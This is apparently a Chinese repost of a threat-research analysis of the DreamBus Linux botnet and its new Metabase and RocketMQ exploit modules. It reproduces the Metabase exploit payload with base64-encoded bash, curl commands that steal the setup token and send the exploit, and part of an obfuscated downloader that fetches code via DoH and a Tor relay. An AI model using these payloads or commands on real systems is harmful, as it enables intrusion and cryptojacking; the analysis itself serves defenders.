DreamBus僵尸网络引入了新的漏洞利用模块

2024年 1月 15日 81.3k 0

介绍

Zscaler 的 ThreatLabz 研究团队一直在跟踪基于 Linux 的恶意软件家族,称为 DreamBus。在过去的几年里,除了一些小的错误修复,以及为了逃避安全软件的检测而进行的轻微修改外,没有太大的变化。然而,在过去的 6 个月里,操作 DreamBus 的威胁行为者引入了两个新模块来针对 Metabase 和 Apache RocketMQ 中的漏洞。这可能是为了应对 DreamBus 利用的漏洞利用导致的新感染减少,其中许多漏洞已经过时并且已经使用了好几年。DreamBus 还继续使用利用隐式信任和弱密码的技术,包括安全外壳 (SSH)、IT 管理工具、基于云的应用程序和数据库。DreamBus 感染的主要货币化载体仍然是通过挖掘门罗币加密货币。

关键要点

  • DreamBus 是一个基于 Linux 的模块化僵尸网络,其历史可以追溯到 2019 年初,具有类似蠕虫的行为,可以在互联网和内部网络上传播。
  • DreamBus 结合使用隐式信任、特定于应用程序的漏洞利用和弱密码来访问数据库、基于云的应用程序和 IT 管理工具等系统。
  • 受感染的系统通过使用 XMRig 挖掘门罗币加密货币来获利。
  • 2023 年 6 月,DreamBus 恶意软件作者对代码进行了新的更改,以进一步逃避检测。
  • 威胁行为者开发了两个新的漏洞利用模块,针对元数据库 (CVE-2023-38646) 和 Apache RocketMQ (CVE-2023-33246) 中的漏洞。

技术分析

Zscaler ThreatLabz 之前曾分析 DreamBus 过及其模块。每个 DreamBus 模块都是一个可执行和可链接格式 (ELF) 二进制文件,由 UPX 打包,并带有修改后的页眉和页脚。此更改旨在防止 UPX 命令行工具静态解压缩 DreamBus 二进制文件。神奇的字节UPX! (0x21585055) 通常替换为随时间变化的值。在最近的 DreamBus 示例中,UPX 魔术字节已替换为值 .gnu (0x756e672e)。

DreamBus 模块都具有非常相似的结构。每个模块之间的主要区别在于漏洞利用代码。每个模块扫描侦听特定端口的服务器,执行漏洞利用,如果成功,则执行下载主 DreamBus 模块的 shell 脚本,该模块又部署 XMRig 来挖掘门罗币加密货币。每个漏洞利用模块都会创建一个名为 /tmp/.systemd.3 的锁定文件,以确保一次只运行一个实例。每个漏洞利用模块扫描内部 RFC 1918 范围 172.16.0.0/12、192.168.0.0/16 和 10.0.0.0/8,并随机扫描公共 IP 范围。

在过去的 6 个月中,ThreatLabz 观察到 DreamBus 为以下应用程序部署了模块:

  • 数据库 (CVE-2023-38646)
  • RocketMQ (CVE-2023-33246)
  • HashiCorp 领事
  • Hadoop YARN
  • 雷迪斯
  • PostgreSQL数据库
  • SSH协议

最常部署的 DreamBus 模块以 PostgreSQL 为目标。附录中提供了 DreamBus 用于暴力破解 Redis、PostgreSQL 和 SSH 凭据的当前密码列表的链接。

在这篇博客中,我们分析了最近添加的 Metabase 和 RocketMQ 的两个漏洞利用模块。

元数据库漏洞利用模块 (CVE-2023-38646)

Metabase 是一种流行的商业智能工具,用于分析和可视化数据。Metabase 0.46.6.1 及更早版本以及 Metabase Enterprise 1.46.6.1 及更早版本的开源版本容易受到 CVE-2023-38646的影响,该版本于 2023 年 7 月首次记录。该漏洞允许攻击者在服务器上执行任意命令。针对此漏洞的 DreamBus 攻击可能基于 open source proof-of-concept.

第一步是通过发送以下 HTTP 请求来扫描侦听端口 3000 的元数据库服务器:

GET /api/session/properties HTTP/1.1Host: 127.0.0.1:3000

DreamBus 模块检查字符串元数据库的响应。D 标识服务器是否正在运行元数据库。此字符串可能正在尝试标识元数据库。DEVICE cookie 值。如果找到此字符串,DreamBus 会通过将以下内容写入文件 /tmp/.json%s (其中格式 %s 字符串是元数据库服务器的 IP 地址)来暂存漏洞。

{
  "token": "setup-token",  "details": {
    "is_on_demand": false,    "is_full_sync": false,    "is_sample": false,    "cache_ttl": null,    "refingerprint": false,    "auto_run_queries": true,    "schedules": {},    "details": {      "db": 
"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;",      "advanced-options": false,      "ssl": true,      "init": "CREATE TRIGGER metabasex BEFORE SELECT ON 
INFORMATION_SCHEMA.TABLES AS 
$$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c 
{echo,dmtIenJnCmV4ZWMgJj4vZGV2L251bGwKTEhqRmd4dG49Li8uJChkYXRlfG1kNXN1
bXxoZWFkIC1jMjApCnVQWEFpRGdwPShkb2gtY2guYmxhaGRucy5jb20gZG9oLWRlLmJsYW
hkbnMuY29tIGRvaC1qcC5ibGFoZG5zLmNvbSBkb2gtc2cuYmxhaGRucy5jb20gZG9oLmxp
IGRvaC5wdWIgZG9oLmRucy5zYiBkbnMudHduaWMudHcpCkFjQ1FZZ0N5PSIvdG1wL3N5c3
RlbWQtcHJpdmF0ZS1kZTIzODFjY2JhOGFh...}|{base64,-d}|bash')\n$$"     },
    "name": "meta-base-sex",    "engine": "h2"  }}

然后,DreamBus 执行以下 bash 命令,向元数据库服务器发送另一个请求以提取安装令牌:

setup_token=$(curl -4fs %s:%d/api/session/properties|grep -Eo 
"([[:alnum:]]{8}-[[:alnum:]]{4}-[[:alnum:]]{4}-[[:alnum:]]{4}-[[:alnum
:]]{12})"|tail -n 1);

提取安装令牌后,DreamBus 使用 sed 将变量 setup-token 替换为暂存漏洞利用文件中从服务器检索到的实际值。

sed -i \"s/setup-token/$setup_token/g\" /tmp/.json%s;

最后,DreamBus 通过 curl 将漏洞发送到服务器,并删除 /tmp 中暂存的漏洞文件,如下所示:

curl -X POST -4fs -H \"Content-Type: application/json\" -d 
@/tmp/.json%s %s:%d/api/setup/validate  &>/dev/null;rm -f /tmp/.json%s

如果漏洞利用成功,以下 bash 脚本将下载并执行 DreamBus 主模块:

exec &>/dev/nullLHjFgxtn=./.$(date|md5sum|head -c20)uPXAiDgp=(doh-ch.blahdns.com doh-de.blahdns.com doh-jp.blahdns.com
doh-sg.blahdns.com doh.li doh.pub doh.dns.sb dns.twnic.tw)AcCQYgCy="/tmp/systemd-private-de2381ccba8aa44b77bda1c971a33b5e-system
d-logind.service-vkHzrg"VdHfWQsU="curl -m60 -fsSLkA- --doh-url
https://${uPXAiDgp[$((RANDOM%${#uPXAiDgp[@]}))]}/dns-query"JtkrXMaj="curl -m60 -fsSLkA-"MTWuGlJu="relay.tor2socks.in"PcSKnocJ="ru6r4inkaf4thlgflg4iqs5mhqwqubols5qagspvya4whp3dgbvmyhad"PATH=/tmp:$AcCQYgCy:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin
:/usr/local/sbin:$PATH
jJcSNhfn() {
read proto server path /dev/nullBDrFYzWg=./.$(date|md5sum|head -c20)qyynvpBQ=(doh-ch.blahdns.com doh-de.blahdns.com doh-jp.blahdns.com
doh-sg.blahdns.com doh.li doh.pub doh.dns.sb dns.twnic.tw)sNHouYjx="/tmp/systemd-private-ae776206422e886961eefb358c4fefda-system
d-logind.service-z3glwn"GRPoNTxD="curl -m60 -fsSLkA- --doh-url
https://${qyynvpBQ[$((RANDOM%${#qyynvpBQ[@]}))]}/dns-query"ZwJtGQaC="curl -m60 -fsSLkA-"HNPDsmwz="relay.tor2socks.in"HyMbvhNq="ru6r4inkaf4thlgflg4iqs5mhqwqubols5qagspvya4whp3dgbvmyhad"PATH=/tmp:$sNHouYjx:$HOME:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin
:/usr/local/sbin:$PATH
eGiAsomX() { read proto server path

相关文章

Mallox勒索软件新Linux变种现世
伪装成破解程序和商业工具的新型恶意软件正在传播
Orcinius后门新样本分析
Poseidon窃取程序通过Google广告感染Mac用户
大选开始之际,欧盟各政党遭受 DDoS 攻击
微软2024

发布评论